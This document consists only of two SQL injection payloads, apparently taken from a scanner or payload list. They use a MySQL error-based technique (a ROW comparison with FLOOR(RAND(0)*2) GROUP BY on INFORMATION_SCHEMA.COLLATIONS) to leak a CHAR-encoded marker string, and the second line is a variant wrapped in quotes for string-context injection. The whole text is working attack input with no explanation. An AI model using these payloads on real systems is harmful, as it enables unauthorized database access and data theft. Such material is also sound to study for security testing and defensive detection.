(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(104),CHAR(101),CHAR(106),CHAR(97),CHAR(101),CHAR(107),CHAR(97),CHAR(106),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
"+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(104),CHAR(101),CHAR(106),CHAR(97),CHAR(101),CHAR(107),CHAR(97),CHAR(106),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"